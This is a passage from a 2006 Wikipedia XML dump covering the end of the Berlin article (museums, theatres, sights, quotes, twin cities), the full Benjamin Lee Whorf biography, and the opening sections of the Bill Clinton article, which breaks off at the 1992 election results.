*Gay Museum (Schwules Museum) [http://www.schwulesmuseum.de/]
*German Film Museum [http://www.berlin-tourist-information.de/english/veranstaltungen/e_ve_filmmuseum.html]
*[[German Museum of Technology (Berlin)|German Museum of Technology]] in [[Kreuzberg]], located at the site of an old freight railyard [http://www.dtmb.de/index_en.html]
*Hamburger Bahnhof: Museum of the Present, with exhibits of contemporary art [http://www.hamburgerbahnhof.de/cont/conte/]
*[[Humboldt Museum|Museum of Natural History]] [http://www.museum.hu-berlin.de/home.asp?lang=1]
*Kaethe Kollwitz Museum [http://www.dhm.de/museen/kollwitz/english/home.htm]
*Museum of Mail and Telecommunication [http://www.museumsstiftung.de/stiftung/e011_willkommen.asp]
*Museum of Medical History [http://www.charite.de/kompakt/english/p8.00_frame.html]
*Prussian Palaces and Gardens in Berlin [http://www.spsg.de/index.php?id=1&amp;sessionLanguage=en]
*Subway/Underground Museum [http://www.ag-berliner-u-bahn.de/]
*Vitra Design Museum [http://www.design-museum.de/berlin.php]

===Theatres===
*[[Schaubühne]] [http://www.schaubuehne.de]
*[[Volksbühne]] [http://www.volksbuehne-berlin.de]
*[[Deutsches Theater]] [http://www.deutsches-theater.de]
*[[Berliner Ensemble]] [http://www.berliner-ensemble.de]
*[[Theater des Westens]] [http://www.theater-des-westens.de]
*[[Grips-Theater]]
*[[Theater am Potsdamer Platz]] [http://www.stageholding.de/6307.htm]
*[[Maxim Gorki Theater]] [http://www.gorki.de]
*[[Renaissance Theater]]
*[[Mehringhof Theater]] [http://www.mehringhoftheater.de/]

===Opera houses===
*[[Deutsche Oper]]
*[[Staatsoper Unter den Linden]]
*[[Komische Oper]]

===Sports===
*Berlin hosted the [[1936 Summer Olympics|1936 Olympics]].
*Berlin will be one of the host cities for the {{Wc|2006}}, to be held in Germany.
*Berlin will be hosting the 2009 athletics world championships.
*Berlin is home to [[Hertha BSC Berlin]], a [[football (soccer)|football]] team in the [[Bundesliga (football)|Bundesliga]].
*Berlin is home to [[Berlin Thunder]] of [[NFL Europe]].

===Zoos and botanical gardens===
*[[Zoologischer Garten Berlin]], Berlin's oldest [[zoo]], founded in [[1844]]; the most species-rich zoo in world
*[[Tierpark Friedrichsfelde]], founded in [[Friedrichsfelde]] (part of [[Lichtenberg]] in East-Berlin) in [[1955]] in the manor of Schloss Friedrichsfelde, largest zoo in Europe (by space)
*[[Botanischer Garten und Botanisches Museum Berlin-Dahlem|Botanic Garden and Botanic Museum Berlin]], one of the most important [[botanical gardens]] of the world and the largest in Europe

===Other tourist attractions===
[[Image:Potsdamer Platz.JPG|thumb|240px|left|[[Potsdamer Platz]] in Berlin]]
Even though Berlin does have a number of impressive buildings from earlier centuries, the city's appearance today is mainly shaped by the key role it played in Germany's history in the [[20th century]]. Each of the national governments based in Berlin &amp;mdash; the 1871 [[German Empire]], the [[Weimar Republic]], [[Nazi Germany]], [[East Germany]], and now the reunified [[Germany]] &amp;mdash; initiated ambitious [[construction]] programmes, each with its own distinctive character. Berlin was devastated by bombing raids during [[World War II]], and many of the old buildings that escaped the bombs were eradicated in the 1950s and 1960s in both West and East. Much of this destruction was caused by overambitious [[architecture]] programmes, especially to build new residential or business quarters and main roads. It would not be an exaggeration to say that no other city in the world offers Berlin's unusual mix of architecture, especially 20th-century architecture. The city's tense and unique recent history has left it with a distinctive array of sights.

Not much is left of the [[Berlin Wall]]. The [[East Side Gallery]] in [[Friedrichshain]] near the ''Oberbaumbrücke'' (&quot;Upper Turnpike Bridge&quot;) over the [[Spree]] preserves a portion of the Wall. Architectural styles still sometimes reveal whether one is in the former eastern or western part of the city. In the eastern part, many ''[[Plattenbau]]ten'' can be found, reminders of [[Eastern Bloc]] ambitions to create complete residential areas with fixed ratios of [[shop]]s, [[kindergarten]]s and [[school]]s. Another difference between former east and west is in the design of little red and green men on pedestrian crossing lights (''[[Ampelmännchen]]'' in German); the eastern versions received an opt-out during the standardisation of road traffic signs after re-unification, and have survived to become a popular icon in tourist products. They are however starting to appear in western Berlin too.

===Historical sights in the city centre===
[[Image:berlin-brandenburg-gate.jpg|200px|thumb|right|[[Brandenburg Gate]] (June 2003)]]
[[Image:Reichstag2.jpg|thumb|200px|right|[[Reichstag (building)|Reichstag]] (Summer 2000)]]
[[Image:Berliner dom and spree.jpg|thumb|200px|left|The [[Berliner Dom]] along the [[Spree]]]]
*The [[Brandenburg Gate]] and [[Unter den Linden]], symbols of Berlin, [[Prussia]], and now [[Germany]]. The Brandenburg Gate appears on German [[Euro]] coins.
*[[Reichstag (building)|Reichstag building]], the old and new seat of the German parliament, renovated by [[Norman Foster|Sir Norman Foster]]. Features a glass dome in which you can walk around and watch the parliamentarians from above.
*[[Gendarmenmarkt]], arguably the most beautiful square in Berlin, surrounded by two famous cathedrals and the concert hall.
*[[Berlin victory column]], monument to Prussia's victories.
*The [[Berliner Dom]], an historic [[cathedral]]. A large crypt houses the remains of the [[Prussia]]n royal family.
*[[Cathedral of St. Hedwig]] (St.-Hedwigs-Kathedrale)
*[[Nikolaiviertel]] with the [[Nikolaikirche]] an historical city core, founded in the 13th century.
* [[Schloss Bellevue]], now the residence of the German President
* [[Schloss Charlottenburg]], the largest surviving historical palace in Berlin
*The [[Neptunbrunnen (Berlin)|Neptunbrunnen]], a famous fountain in Berlin [[Mitte]].
*[[Tiergarten]] is Berlin's largest [[park]] and a masterpiece of park design.

===Cold War and sightseeing in the former East Berlin===
[[Image:Berlin Neue Synagoge 2005.jpg|thumb|Synagogue in the Oranienburger Straße]]

*The [[Palast der Republik]] (&quot;Palace of the Republic&quot;), the former East German parliament building and civic centre. It is seen by some as ugly, although former East Berliners remember with affection restaurants, shops, clubs, and the concerts that took place there in the 1980s. Although it has some significance as a historical tourist attraction, the German Parliament voted for its demolition which started in February of 2006.
The Palast der Republik is built on the site of the [[Berlin City Palace]], which was demolished in 1950 by the [[history of East Germany|Communists]]. The Palace Square was renamed Marx-Engels-Platz at the same time. 
*The [[Fernsehturm]] (TV tower), the highest building in the city at 368 m (1207 ft), and the second largest structure in [[Europe]] (after [[Moscow]]'s [[Ostankino Tower]]). The Fernsehturm is easily visible throughout most of the central districts of Berlin, and boasts one of the fastest lifts in Europe, at 45 metres per minute (148 ft/min)
*[[Alexanderplatz]], formerly [[East Berlin]]'s major shopping center, and home to the Centrum-Warenhaus, which was the [[Deutsche Demokratische Republik|DDR]]'s department store. It is now a thoroughly Westernized shopping centre, belonging to the Kaufhof chain.
*[[East Side Gallery]] a memorial for freedom based on the last parts of the [[Berlin Wall]]
*[[Rotes Rathaus]] (the Red City Hall), historic town hall famous for its distinctive red-brick architecture
*[[Rathaus Schöneberg]] with [[John-F.-Kennedy-Platz]], whence [[John F. Kennedy]] made his famous &quot;[[Ich bin ein Berliner]]!&quot; speech.
*[[Checkpoint Charlie]], remains and a [[museum]] about one of the crossing points (albeit restricted to Allied forces) in the [[Berlin Wall]]. The museum, which is a private venture, exhibits interesting material about people who devised ingenious plans to leave the East, but is controversial in the city for its propagandistic [[Cold War]] didactics and publicity stunts that many consider tasteless.

===Sights of modern Berlin===
[[Image:Siegessäule 2.JPG|thumb|left|150px|Berlin Victory Column]]
*[[Potsdamer Platz]], an entire quarter built from scratch after 1995. The historic Potsdamer Platz was not rebuilt as it was divided by the Wall. A must-see for people who like modern [[city planning]]. Just to the West of Potsdamer Platz is the [[Kulturforum (Berlin)|Kulturforum]], which houses the [[Gemäldegalerie (Berlin)|Gemäldegalerie]], and is flanked by the [[Neue Nationalgalerie]] and the [[Berliner Philharmoniker|Philharmonie]].
*[[Hackescher Markt]], [[Spandauer Vorstadt]] and [[Scheunenviertel]], the home to fashionable culture, with countless small clothing shops, clubs, bars, and galleries. This includes the [[New Synagogue]] area in Oranienburger Straße (originally built in the 1860s in Moorish style with a large golden dome and reconstructed in 1993), and the [[Hackesche Höfe]], a conglomeration of several buildings around several courtyards, nicely reconstructed after 1996. This area was a centre of [[Jewish]] culture up until the 1930s.
**[[Memorial to the Murdered Jews of Europe]], a [[Holocaust]] memorial opened in May 2005.

===Panoramic viewing points===
[[Image:Berlin television tower.jpg|thumb|150px|The Berlin Television Tower]]
[[Image:Berlinski_Aleksandar_plac.JPG|thumb|150px|View from Alexanderplatz]]
*[[Funkturm Berlin|Berliner Funkturm]]&amp;mdash; the only observation tower in the world which stands on insulators. Its open-air observation deck is popular for photography.
*[[Berliner Fernsehturm|Berlin Television Tower]] &lt;!-- [http://www.berlinerfernsehturm.de/] --&gt; &amp;mdash; 368-m (1,207 [[foot (unit of length)|ft]]) high television tower, built in 1969 close to [[Alexanderplatz]]. The entire city can be viewed from its 204-m (669 ft) high observation platform. Tallest building in Germany, second tallest in Europe.
*[[Grunewaldturm]] &lt;!-- [http://www.grunewaldturm.de] --&gt; &amp;mdash; this 59-m (194 ft) high historic tower stands on a hill in Grunewald forest close to [[Wannsee]] lake.
*[[Französischer Dom]] &lt;!-- [http://www.franzoesischer-dom-berlin.de] --&gt; &amp;mdash; located on [[Gendarmenmarkt]] in the very heart of the city, the platform of the cathedral offers unique views.
*[[Bierpinsel]] &amp;mdash; literally &quot;Beer Brush&quot;. 1970s style tower in the Berlin Borough of [[Steglitz-Zehlendorf|Steglitz]] with a café and bar at the top giving views over south-western Berlin.
*Restaurant of the [[Forum Hotel Berlin]]
*[[Berliner Dom]] &lt;!-- [http://www.berliner-dom.de] --&gt; &amp;mdash; [[Protestant]] [[cathedral]] situated next to the [[Lustgarten]], with a circular observation platform around the dome.
*[[Bell tower Olympic Stadium Berlin|Bell tower at the Olympic Stadium]] &lt;!-- [http://www.glockenturm.de] --&gt; &amp;mdash; part of the [[Reichssportfeld]] complex, the tower offers a view of the [[Olympic Stadium, Berlin|Olympic Stadium]] and also of the [[Waldbühne]], an open-air stage.
*[[Siegessäule]] &lt;!-- [http://www.berlin-tourist-information.de/cgi-bin/sehenswertes.pl?id=13353] --&gt; &amp;mdash; the monument at the [[Großer Stern]] situated in the middle of the [[Tiergarten]] Park where it was relocated in 1938&amp;ndash;39 from its previous position in front of the [[Reichstag (building)|Reichstag]].
*[[Müggelturm]] &amp;mdash; a tower giving panoramic views over the [[Müggelsee]] lake.
*[[Reichstag building]]&amp;mdash; the roof of the parliament building, crowned by a large glass [[cupola]] designed by Sir [[Norman Foster]] is open to the public giving an impressive view over the city, especially at night.
*[[Viktoriapark]] &amp;mdash; the hilltop monument in this park in [[Kreuzberg]] provides a terrestrial viewpoint over many of the southern regions of the city.

===Other interesting structures (not accessible to public)===
[[Image:Berlin Oberbaumbruecke.jpg|thumb|200px|Oberbaum Bridge]]
*[[Fernmeldeturm Berlin]] (Berlin Telephone Tower)
*[[Richtfunkstelle Berlin-Frohnau]]
*[[Transmitter Berlin-Britz]]
*[[Radio mast Berlin-Scholzplatz]]
*[[Transmitter Berlin-Alley of Stallupone]]
*[[Radio mast Berlin-Olympiastadium]]
*[[Radar facility Berlin-Teufelsberg]]
*[[Berlin-Müggelberge TV Tower]]
*[[Power station Berlin-Wilmersdorf]]
*[[Power station Reutter]]

===Famous streets and boulevards===
[[Image:Berlin mem.jpg|200px|thumb|Kaiser-Wilhelm-II-Kirche, the Berlin Memorial Church]]
*[[Unter den Linden]] is the street that heads east from the Brandenburg Gate. Many Classical buildings line the street. Part of [[Humboldt University]] is located there.
*[[Friedrichstraße]], Berlin's legendary street of the &quot;Golden Twenties&quot; which combines the tradition of the last century with modern architecture of today's Berlin.
*[[Kurfürstendamm]] (Ku'damm), with the Kaiser-Wilhelm-Gedächtniskirche ([[Kaiser Wilhelm Memorial Church]]), which lies right at the top end of Kurfürstendamm, on Breitscheidplatz (underground station Kurfürstendamm). The church was bombed out in World War II and its ruins have been preserved in their damaged state. Near by is the [[Ka-De-We]] Berlin's equivalent to London's [[Harrods]]. Also nearby is the [[Zoologischer Garten Berlin  |Zoologischer Garten]], a zoo with a large number of species.
*The [[Straße des 17. Juni]] connects the Brandenburg Gate in the East and Ernst-Reuter-Platz in the West, commemorating the uprisings in [[East Berlin]] of [[17 June]] [[1953]]. It features the golden ''Siegessäule'' (Statue of Victory), which used to stand in front of the ''[[Reichstag (building)|Reichstag]]''.
*The [[Karl-Marx-Allee]] (formerly Stalinalle), a boulevard lined by monumental landmark buildings designed in the Socialist Classicism of the [[Stalin]] era. It is located in [[Friedrichshain]] and [[Mitte]].

===Street lighting===
Berlin is unique in that it still has around 43,800 [[gas lamp]] standards in working order, usually to be found on back streets and historically sensitive places. The first 1,800 lanterns were erected by the English Gas Company in 1826. Operation of the Gas lamps was taken over by the City Authorities in 1847. The first electric street lighting appeared around 1880. Between 1963 and 1982 replacement of the gas lamps in East Berlin was completed apart from a few remaining streets in [[Köpenick]]. In West Berlin the reverse was the situation, new styles of gas lamp standards being introduced as late as the 1950s. There was a debate in the late 1970´s on whether replacement with electric lighting should go ahead, but public opinion was against it. This debate was revived again in 2005, due to rising costs of gas, but no definite decision on replacement has been made. There is an open-air collection of working gas lamps in Tiergarten near to S-Bahnhof Tiergarten, which as well as displaying historic examples from Berlin and other German cities also has examples from other European cities. [http://www.dtmb.de/Aktuelles/Kooperationen/Laternen/body.html]

==Quotes concerning Berlin==
&lt;center&gt;''&quot;Berlin ist arm, aber sexy.&quot; (&quot;Berlin is poor, but sexy.&quot;)''&lt;br&gt; &lt;small&gt;([[Klaus Wowereit]], Governing Mayor, in a television interview, 2004)&lt;/small&gt;&lt;br&gt;

''&quot; [[Ich bin ein Berliner]].&quot;''&lt;br&gt; &lt;small&gt;([[John F. Kennedy]], President of the USA, 1963 while visiting Berlin)&lt;/small&gt;&lt;br&gt;

''&quot;Ihr Völker der Welt ... schaut auf diese Stadt!&quot; (&quot;Peoples of the world ... look at this city!&quot;)''&lt;br&gt;&lt;small&gt;([[Ernst Reuter]], Governing Mayor, during the [[Berlin blockade]], 1948)&lt;/small&gt;

''&quot;[[Mikhail Gorbachev|Mr. Gorbachev]], [[Tear down this wall]]!&quot;''&lt;br&gt;&lt;small&gt;([[Ronald Reagan]], President of the United States, speech at the Brandenburg Gate, 1987)&lt;/small&gt;

''&quot;Ich hab noch einen Koffer in Berlin&quot; (&quot;I still keep a suitcase in Berlin&quot;)''&lt;br&gt;&lt;small&gt;([[Marlene Dietrich]], actress and singer born 1901 in Berlin-[[Schöneberg]])&lt;/small&gt;

''&quot;Paris is always Paris and Berlin is never Berlin!&quot;''&lt;br&gt;&lt;small&gt;([[Jack Lang (French politician)|Jack Lang]], French former culture minister, talking about how fast Berlin is changing, 2001)&lt;/small&gt;

''&quot;What could have possessed people to found a city in the middle of all this sand?&quot;''&lt;br&gt;&lt;small&gt;([[Stendhal]], French writer who travelled extensively in Germany and elsewhere)

''&quot;Berlin is a city that never is, but is always in the process of becoming.&quot;''&lt;br&gt;&lt;small&gt;([[Karl Scheffler]], author of ''Berlin: Ein Stadtschicksal'')&lt;/small&gt;
&lt;/center&gt;

== Twin Cities ==
{|
| valign=&quot;top&quot; |
* {{flagicon|USA}} - [[Los Angeles]], [[United States]], since 1967
* {{flagicon|France}} - [[Paris]], [[France]], since 1987
* {{flagicon|Spain}} - [[Madrid]], [[Spain]], since 1988
* {{flagicon|Turkey}} - [[Istanbul]], [[Turkey]], since 1988
* {{flagicon|Russia}} - [[Moscow]], [[Russia]], since 1990
* {{flagicon|Poland}} - [[Warsaw]], [[Poland]], since 1991
* {{flagicon|Hungary}} - [[Budapest]], [[Hungary]], since 1991
* {{flagicon|Belgium}} - [[Brussels]], [[Belgium]], since 1992
* {{flagicon|Indonesia}} - [[Jakarta]], [[Indonesia]], since 1993
| valign=&quot;top&quot; |
* {{flagicon|Uzbekistan}} - [[Tashkent]], [[Uzbekistan]], since 1993
* {{flagicon|Mexico}} - [[Mexico City]], [[Mexico]], since 1993
* {{flagicon|People's Republic of China}} - [[Beijing]](Peking), [[China]], since 1994
* {{flagicon|Japan}} - [[Tokyo]], [[Japan]], since 1994
* {{flagicon|Argentina}} - [[Buenos Aires]], [[Argentina]], since 1994
* {{flagicon|Czech Republic}} - [[Prague]], [[Czech Republic]], since 1995
* {{flagicon|Namibia}} - [[Windhoek]], [[Namibia]], since 2000
* {{flagicon|UK}} - [[London]], [[United Kingdom]], since 2000
* {{flagicon|USA}} - [[Charleston, South Carolina|Charleston]], [[United States]], since 2005
|}

==See also==
*[[1920s Berlin]]
*[[Berlin Wall]]
*[[Berlin Wine Tasting of 2004]]

==References==

* [http://www-genesis.destatis.de/ German Federal Statistical Office]
* [http://www.dwd.de/de/FundE/Klima/KLIS/daten/online/nat/index.htm Climate data from the German Weather Service]
* [http://www.statistik-berlin.de/ Berlin State Statistical Office]
* [http://library.fes.de/fulltext/managerkreis/00939.htm#E283E1 Die Zukunft der Region Berlin-Brandenburg]
* Tertius Chandler, ''Four Thousand Years of Urban Growth: An Historical Census''. Lewiston, N.Y.: St. Davids University Press, 1987.
* Ribbe, Wolfgang (editor), ''Geschichte Berlins'' (2 volumes). Munich: C.H. Beck, 1987.
* Read, Anthony, and David Fisher, ''Berlin Rising: Biography of a City''. New York: W.W. Norton, 1994.
* Large, David Clay, ''Berlin''. New York: Basic Books, 2000.
* Gross, Leonard, ''The Last Jews in Berlin''. New York: Simon and Schuster, 1982.

==External links==
{{sisterlinks|Berlin}}
{{Wikitravel}}

*[http://www.berlin.de/english/index.html Official Website]
*[http://www.berlinonline.de/ Berlin Online Berlin's information web site]
*[http://www.alt-berlin.info/ Alt-Berlin - Extensive archive of historical maps of Berlin, from 1738 to the present day - in German and English]
*[http://germany.archiseek.com/brandenburg/berlin/index.html Architecture of Berlin]
*[http://www.statistik-berlin.de Berlin statistics - in German]
*[http://www.panorama-cities.net/berlin/berlin.html City Panoramas - Panoramic Views of Berlin's Highlights]
*[http://www.stadtentwicklung.berlin.de/planen/stadtmodelle/de/extra_fenster_schwarzplaene.shtml Comparison of historic layouts of the city]
*[http://www.western-allies-berlin.com/ Western Allies Berlin - History of the western allies in Berlin from 1945 to 1994]
*[http://www.fdrlibrary.marist.edu/psf/box31/t297c01.html Agreement to divide Berlin]

{{Germany_states}}
{{Olympic Summer Games Host Cities}}


[[Category:Berlin| ]]
[[Category:Capitals in Europe]]
[[Category:Cities in Germany]]
[[Category:German state capitals]]
[[Category:Hanseatic League|Berlin]]
[[Category:Host cities of the Summer Olympic Games]]
[[Category:States of Germany]]

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    <revision>
      <id>40360510</id>
      <timestamp>2006-02-20T01:27:12Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">'''Benjamin Lee Whorf''' ([[April 24]], [[1897]] &amp;ndash; [[July 26]], [[1941]]) was an [[United States|American]] [[linguist]].

Born in [[Winthrop, Massachusetts]], the son of Harry and Sarah (Lee) Whorf, Benjamin Lee Whorf graduated from the [[Massachusetts Institute of Technology]] in 1918 with a degree in [[chemical engineering]] and shortly afterwards began work as a fire prevention engineer (inspector) for the Hartford Fire Insurance Company, pursuing linguistic and anthropological studies as an avocation.

In 1931 he began studying linguistics at [[Yale University]] under the famed [[Edward Sapir]]. Sapir was impressed enough with Whorf to further support his academic interests and, in 1936, Whorf was appointed Honorary Research Fellow in Anthropology at Yale. In 1937 the university awarded him the Sterling Fellowship. He was a Lecturer in Anthropology from 1937 through 1938, when he began having serious health problems.

Although he never took up linguistics as a profession (he used to say that having an independent, non-academic source of income allowed him better and more freely to pursue his specific academic interests), his contributions to the field were, nevertheless, profound, and show repercussions to this day.

Whorf's primary area of interest in linguistics was the study of [[Native American (Americas)|Native American]] languages, particularly those of [[Mesoamerica]]. He became quite well known for his work on the [[Hopi language]], and for a theory he called the [[principle of linguistic relativity]]. Developed in conjunction with Sapir (who had already published a version of it in 1929) it became more widely known as the [[Sapir-Whorf hypothesis]]. He was considered to be a captivating speaker and did much to popularize his linguistic ideas through popular lectures and articles written to be accessible to lay readers, as well as publishing numerous technical articles.

Some of Whorf's early work on linguistics and particularly on linguistic relativity was inspired by the reports he wrote on insurance losses, where misunderstanding had been a cause. In one famous example, an employee who was not a [[native speaker]] of English had placed drums of liquid near a heater, believing that as a 'flammable' liquid would burn then a 'highly inflammable' one would not. His papers and lectures featured examples from both his insurance work and his fieldwork with Hopi and other American languages.  

The [[Sapir-Whorf hypothesis]] primarily dealt with the way that language affects thought. Also sometimes called the Whorfian hypothesis (much to Whorf's disapproval) this theory claims that the language a person speaks (independent of the [[culture]] in which he or she resides) affects the way that he or she thinks, meaning that the structure of the language itself affects cognition. 

Less well known, but important, are his contributions to the study of the [[Nahuatl]] and [[Mayan languages|Maya]] languages. He claimed that Nahuatl was an [[oligosynthetic language]] (a claim that would be brought up again some twenty years later by [[Morris Swadesh]], another controversial American linguist). Regarding Maya, he focused on the linguistic nature of the Mayan writing, claiming that it was syllabic to some degree (a claim that has been proven right by [[Scheele|Linda Scheele]] ''et al.'' over the past decade).

Benjamin Lee Whorf died of cancer at the relatively young age of 44, and much of his most significant work was published posthumously.

==External links==
:[http://mtsu32.mtsu.edu:11072/Whorf/mindblw.htm About Whorf]

[[Category:1897 births|Whorf, Benjamin]]
[[Category:1941 deaths|Whorf, Benjamin]]
[[Category:American linguists|Whorf, Benjamin]]
[[Category:ISBN needed]]

[[da:Benjamin Lee Whorf]]
[[de:Benjamin Whorf]]
[[ja:&amp;#12505;&amp;#12531;&amp;#12472;&amp;#12515;&amp;#12511;&amp;#12531;&amp;#12539;&amp;#12454;&amp;#12457;&amp;#12540;&amp;#12501;]]
[[pl:Benjamin Lee Whorf]]</text>
    </revision>
  </page>
  <page>
    <title>Bill Clinton</title>
    <id>3356</id>
    <revision>
      <id>42119887</id>
      <timestamp>2006-03-03T23:20:53Z</timestamp>
      <contributor>
        <username>Tombadevil</username>
        <id>751201</id>
      </contributor>
      <comment>/* Ross Perot */</comment>
      <text xml:space="preserve">&lt;!-- NOTE to Editors: Vandalism will result in being blocked.--&gt; {{Infobox_President 
| name=President William Jefferson Clinton
| image=Bill_Clinton.jpg
| order=42nd President
| term_start=[[January 20]] [[1993]]
| term_end=[[January 20]] [[2001]]
| vicepresident=[[Al Gore]]
| predecessor=[[George H. W. Bush]]
| successor=[[George W. Bush]]
| birth_date=[[August 19]] [[1946]]
| birth_place=[[Hope, Arkansas]]
| party=[[Democratic Party (United States)|Democrat]]
| spouse=[[Hillary Rodham Clinton]]
}}

'''William Jefferson &quot;Bill&quot; Clinton''' (born '''William Jefferson Blythe III''' on [[August 19]] [[1946]]) was the 42nd [[President of the United States]], serving from 1993 to 2001. Clinton served five terms as the [[Governor of Arkansas|Governor]] of [[Arkansas]]. His wife, [[Hillary Rodham Clinton]], is currently the [[Junior senator|junior U.S. Senator]] from [[New York]].

Generally regarded as a moderate [[populism|populist]], and a member of the moderate [[New Democrat]] wing of the [[Democratic Party (United States)|Democratic Party]], he headed the centrist [[Democratic Leadership Council]] in 1990 and 1991. During his tenure as president, his domestic priorities included efforts to create a universal healthcare system, improve [[education]], restrict [[pistol|handgun]] sales, strengthen [[environmentalism|environmental]] regulations, improve race relations, and protect the jobs of workers during pregnancy or medical emergency. His domestic agenda also included other themes such as reforming welfare programs, expanding the &quot;[[War on Drugs]]&quot;, and increasing [[law enforcement]] funding. [[Foreign relations of the United States|Internationally]], his priorities included reducing [[trade barrier]]s, preventing [[nuclear proliferation]], and mediating the [[Northern Ireland peace process]] and [[Israeli-Palestinian conflict]]s. 

Clinton was the third-youngest president, behind [[Theodore Roosevelt]] (the youngest) and [[John F. Kennedy]] (the youngest ''elected''). He was the first [[Post-WW2 baby boom|baby boomer]] president.  The Clinton/Gore ticket of 1992 was the youngest in history, with a combined age of 90 (Clinton was 46, Vice Presidential nominee [[Al Gore]] was 44).  Clinton was one of only two Presidents in American history to be [[Impeachment in the United States|impeached]], and was acquitted by a vote of the [[United States Senate]] on [[February 12]], [[1999]]. In both runs for Presidency, Clinton never received a majority of the popular vote, though he ended his Presidential career with a 65% approval rating, the highest end-of-term approval rating of any President in the post-[[Eisenhower]] era. &lt;ref&gt;[http://abcnews.go.com/sections/politics/DailyNews/poll_clintonlegacy010117.html Historical Presidential Approval Ratings], [[abcnews.go.com]], accessed [[February 27]], [[2006]]&lt;/ref&gt;

==Early years==
Clinton was born '''William Jefferson Blythe III'''&lt;!-- Authoritative birthname. See Talk page for more information. --&gt;; in [[Hope, Arkansas]] and raised in [[Hot Springs, Arkansas]]. He was named after his father, [[William Jefferson Blythe, Jr.]], a traveling salesman who had been killed in an auto accident three months before his son was born. His mother, born [[Virginia Clinton Kelley|Virginia Dell Cassidy]] (1923–1994), remarried in 1950 to [[Roger Clinton, Sr.|Roger Clinton]]. Billy, as he was called, was raised by his mother and stepfather, assuming his last name &quot;Clinton&quot; throughout elementary school, but not formally changing it until he was 14. Clinton grew up in a traditional, albeit blended, family; however, according to Clinton, his stepfather was a gambler and an alcoholic who regularly abused Clinton's mother, and sometimes Clinton's half-brother [[Roger Clinton, Jr.|Roger, Jr.]].

Clinton was a member of the Masonic Youth Order of [[DeMolay International|DeMolay]], but never became a [[Freemasonry|Freemason]].

Clinton was an excellent student and a talented saxophonist. He considered dedicating his life to music, but a visit to the White House of President John F. Kennedy, following his election as a [[Boys Nation]] Senator, led him to pursue a career in politics.

==Arkansas political career and education==
Clinton received a [[Bachelor of Science]] in Foreign Service (B.S.F.S.) degree from the [[Edmund A. Walsh School of Foreign Service]] at [[Georgetown University]] in [[Washington D.C.]], where he became a brother of [[Alpha Phi Omega]], worked for Senator [[J. William Fulbright]], was elected to [[Phi Beta Kappa]] and won a [[Rhodes Scholarship]] to the [[University of Oxford]], ([[University College, Oxford|University College]]) in England where he was selected as a ''Chevalier''. After attending Oxford, Clinton obtained a [[Juris Doctor]] (J.D.) degree from [[Yale Law School]] in 1973. While at Yale, he met a classmate who would eventually be his wife, [[Hillary Rodham Clinton|Hillary Rodham]]; the couple married in 1975.
&lt;!-- Unsourced image removed: [[Image:CarterClinton.jpg|thumb|200px|President [[Jimmy Carter|Carter]] (right) meets Governor Clinton.]] --&gt;

In 1974, his first year as a [[University of Arkansas]] law professor, Clinton ran for the [[United States House of Representatives|House of Representatives]]. The incumbent, [[John Paul Hammerschmidt]], defeated Clinton with 52% of the vote. In 1976, Clinton was elected [[Attorney General]] of [[Arkansas]] without opposition in the general election.

In 1978, Bill Clinton was first elected [[Governor of Arkansas|governor of the state of Arkansas]], the youngest to be elected governor since 1938. His first term was fraught with difficulties, including an unpopular motor vehicle tax and popular anger over the escape of Cuban prisoners (from the [[Mariel boatlift]]) detained in [[Fort Chafee]] in 1980.

In the 1980 election, Clinton was defeated in his bid for a second term by [[United States Republican Party|Republican]] challenger [[Frank D. White]], becoming a victim of the [[Ronald Reagan|Reagan]] Republican landslide. As he once joked, he was the youngest ex-governor in the nation's history. But in 1982, Clinton won his old job back, and over the next decade helped Arkansas transform its economy. He became a leading figure among the so-called New Democrats, who called for welfare reform, smaller government, and other Reagan-like ideas.

Clinton's approach mollified conservative criticism during his terms as governor. However, personal and business transactions made by the Clintons during this period became the basis of the [[Whitewater scandal|Whitewater]] investigation, which dogged his later presidential administration. After very extensive investigation over several years, no indictments of any kind were made against either of the Clintons growing out of their Arkansas years.

==Rise to the Presidency==
===1992 Presidential campaign===
Clinton's first foray into national politics occurred when he was enlisted to speak at the [[1988 Democratic National Convention]], introducing candidate [[Michael Dukakis]]. Clinton's address, scheduled to last 15 minutes, lasted over half an hour. &lt;ref&gt;[http://archives.cnn.com/2000/ALLPOLITICS/stories/08/15/potus.speech/ Clinton touts success, boosts Gore in nostalgic farewell to Democratic convention] - Mike Ferullo, [[CNN]], [[August 15]], [[2000]]&lt;/ref&gt;

Four years later, Clinton prepared for a run in 1992 against incumbent President [[George H. W. Bush]]. In the aftermath of the [[Persian Gulf War]], Bush seemed unbeatable, and several potential Democratic candidates — notably [[Governor of New York|New York Governor]] [[Mario Cuomo]] — passed on what seemed to be a lost cause. Clinton won the [[United States Democratic Party|Democratic Party]]'s nomination.

====Vice President Choice====
Clinton chose [[United States Senate|U.S. Senator]] [[Al Gore|Albert A. Gore Jr.]] ([[United States Democratic Party|D]]-[[Tennessee]]) to be his running mate on [[July 9]] [[1992]]. Initially this decision sparked criticism from strategists due to the fact that Gore was from Clinton's neighboring state of [[Tennessee]] which would go against the popular strategy of balancing a Southern candidate with a Northern partner. In retrospect, many now view Gore as a helpful factor in the 1992 campaign.

====Criticism====
Many character issues were raised during the campaign, including allegations that Clinton had dodged the draft during the [[Vietnam War]], and had used [[marijuana]], which Clinton claimed he had pretended to smoke, but &quot;didn't inhale&quot;. Allegations of extramarital affairs and shady business deals were also raised. While typically these types of allegations would have resulted in a candidate withdrawing from the race, Clinton displayed the resiliency in the face of scandal that would later be pivotal in his presidency. As the candidate with the most money and the best-articulated campaign strategy&amp;nbsp;— creating more jobs&amp;nbsp;— Clinton was able to stay in the race the longest, fending off all rivals long before the Democratic convention. &lt;ref&gt;[http://www.cnn.com/ALLPOLITICS/1996/candidates/campaign.96/index2.html Campaign '96 Ads] - [[CNN]], accessed [[February 25]], [[2006]]&lt;/ref&gt;

====Election====
=====Results=====
[[Image:Clinton.jpg|thumb|right|300px|Official Presidential Portrait of President Bill Clinton.]]
Clinton won the [[U.S. presidential election, 1992|1992 presidential election]] (43.01% of the vote) against Republican [[George H. W. Bush]] (37.4% of the vote) and billionaire populist [[Ross Perot|H. Ross Perot]] who ran as an independent (18.9% of the vote), largely on a platform focusing on domestic issues; a large part of his success was due to George H.W. Bush's steep decline in public approval. Previously described as &quot;unbeatable&quot; due to his approval ratings in the 80 percent range during the [[Persian Gulf]] conflict, Bush saw his public approval rating dropped to just over 40% by election time.

=====Reasons=====
